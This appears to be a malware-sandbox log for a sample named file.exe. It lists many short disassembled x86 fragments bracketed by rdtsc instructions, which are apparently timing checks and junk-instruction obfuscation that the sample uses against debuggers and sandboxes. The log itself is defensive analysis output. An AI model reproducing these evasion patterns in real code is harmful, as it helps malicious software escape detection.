Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEB522 second address: AEB547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6086h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F0E647B6076h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEB547 second address: AEB553 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0E6551CA36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEB3D0 second address: AEB3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEB3D6 second address: AEB3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEB3DC second address: AEB3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AECAC2 second address: AECAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AECAC8 second address: AECADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F0E647B6080h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AECADD second address: AECAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AECAE3 second address: AECAFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6083h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEFDF7 second address: AEFDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEFDFD second address: AEFE07 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0E647B6076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEF94F second address: AEF992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA40h 0x00000009 pop edi 0x0000000a pushad 0x0000000b jmp 00007F0E6551CA40h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F0E6551CA49h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEFAF7 second address: AEFAFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEFAFD second address: AEFB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AFB0FA second address: AFB0FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B01756 second address: B0175A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B0175A second address: B0175E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B0175E second address: B0176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0E6551CA3Eh 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B06CC1 second address: B06CE6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0E647B6076h 0x00000008 jmp 00007F0E647B6085h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B06CE6 second address: B06CEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B06CEA second address: B06CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F0E647B6076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B08D95 second address: B08D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B08D9B second address: B08D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B08D9F second address: B08DAB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B08DAB second address: B08DCF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F0E647B6084h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B08DCF second address: B08DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F0E6551CA3Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B0B08F second address: B0B0B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B607Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E647B6088h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B11044 second address: B1104C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1104C second address: B1106F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0E647B6076h 0x00000008 jo 00007F0E647B6076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jne 00007F0E647B607Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B14A44 second address: B14A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1B96A second address: B1B982 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6084h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1B982 second address: B1B98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1B98B second address: B1B991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1B991 second address: B1B997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A157 second address: B1A17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6081h 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F0E647B607Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A2DB second address: B1A2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A2E4 second address: B1A2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A2E8 second address: B1A2EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A2EC second address: B1A2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F0E647B6076h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A448 second address: B1A46D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0E6551CA36h 0x00000008 jmp 00007F0E6551CA3Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0E6551CA3Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A764 second address: B1A799 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0E647B608Dh 0x00000008 jmp 00007F0E647B6085h 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F0E647B607Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F0E647B607Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1A799 second address: B1A79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1AA56 second address: B1AA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1AA5A second address: B1AA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1AA5E second address: B1AA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F0E647B6076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1AA6F second address: B1AA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B1AC06 second address: B1AC17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0E647B6076h 0x00000009 jc 00007F0E647B6076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B29DA8 second address: B29DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B31568 second address: B3157F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0E647B607Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3157F second address: B3159A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F0E6551CA3Ch 0x0000000c js 00007F0E6551CA42h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3159A second address: B315A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B41F55 second address: B41F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B58F75 second address: B58F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0E647B6076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B58F80 second address: B58FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F0E6551CA36h 0x0000000c popad 0x0000000d jc 00007F0E6551CA3Eh 0x00000013 push edx 0x00000014 pop edx 0x00000015 jbe 00007F0E6551CA36h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jo 00007F0E6551CA51h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0E6551CA3Dh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B58FB4 second address: B58FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B59B08 second address: B59B29 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0E6551CA36h 0x00000008 jmp 00007F0E6551CA47h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B59B29 second address: B59B51 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F0E647B6076h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ecx 0x00000011 jmp 00007F0E647B6081h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B59B51 second address: B59B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5F475 second address: B5F479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5F545 second address: B5F54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5FA82 second address: B5FA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5FA86 second address: B5FA95 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5FA95 second address: B5FAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 sbb dx, 81BBh 0x0000000c push dword ptr [ebp+122D20A7h] 0x00000012 mov dword ptr [ebp+122D1CBFh], edi 0x00000018 push E38F8C95h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B5FAB7 second address: B5FABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B611B2 second address: B611C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jne 00007F0E647B6076h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B611C0 second address: B61205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0E6551CA36h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 js 00007F0E6551CA36h 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e jng 00007F0E6551CA6Dh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0E6551CA49h 0x0000002b js 00007F0E6551CA36h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0F4E second address: 50D0F56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0E88 second address: 50C0EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0E6551CA46h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0E6551CA47h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100A1B second address: 5100A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100A34 second address: 5100A74 instructions: 0x00000000 rdtsc 0x00000002 mov ah, dl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F0E6551CA42h 0x0000000c jmp 00007F0E6551CA45h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0E6551CA3Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100A74 second address: 5100A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B607Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100A84 second address: 5100ACC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0E6551CA3Bh 0x00000016 or eax, 3828FA9Eh 0x0000001c jmp 00007F0E6551CA49h 0x00000021 popfd 0x00000022 mov ecx, 0D22DE67h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A015F second address: 50A0181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0E647B6084h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0181 second address: 50A0193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0193 second address: 50A0197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0197 second address: 50A01EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push edx 0x0000000c mov cx, B36Fh 0x00000010 pop eax 0x00000011 mov bx, 9068h 0x00000015 popad 0x00000016 push dword ptr [ebp+04h] 0x00000019 jmp 00007F0E6551CA47h 0x0000001e push dword ptr [ebp+0Ch] 0x00000021 jmp 00007F0E6551CA46h 0x00000026 push dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov bl, A4h 0x0000002e mov edi, ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A01EB second address: 50A01F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0C03 second address: 50C0C27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 4D11B64Eh 0x00000013 mov dx, E95Ah 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C07C1 second address: 50C07D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B607Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C07D1 second address: 50C07D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C063B second address: 50C063F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C063F second address: 50C0643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0643 second address: 50C0649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0649 second address: 50C065E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C065E second address: 50C06DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f call 00007F0E647B6088h 0x00000014 pushfd 0x00000015 jmp 00007F0E647B6082h 0x0000001a adc esi, 24C63AE8h 0x00000020 jmp 00007F0E647B607Bh 0x00000025 popfd 0x00000026 pop ecx 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F0E647B607Eh 0x00000032 or cx, 4D48h 0x00000037 jmp 00007F0E647B607Bh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C06DD second address: 50C06E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, AEh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C06E4 second address: 50C0731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F0E647B607Ch 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop esi 0x00000014 pushfd 0x00000015 jmp 00007F0E647B6089h 0x0000001a sub cx, 3BC6h 0x0000001f jmp 00007F0E647B6081h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0731 second address: 50C074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx esi, dx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C03D1 second address: 50C03D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C03D7 second address: 50C03DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C03DB second address: 50C03E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C03E8 second address: 50C041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 jmp 00007F0E6551CA3Eh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0E6551CA47h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D015D second address: 50D0163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
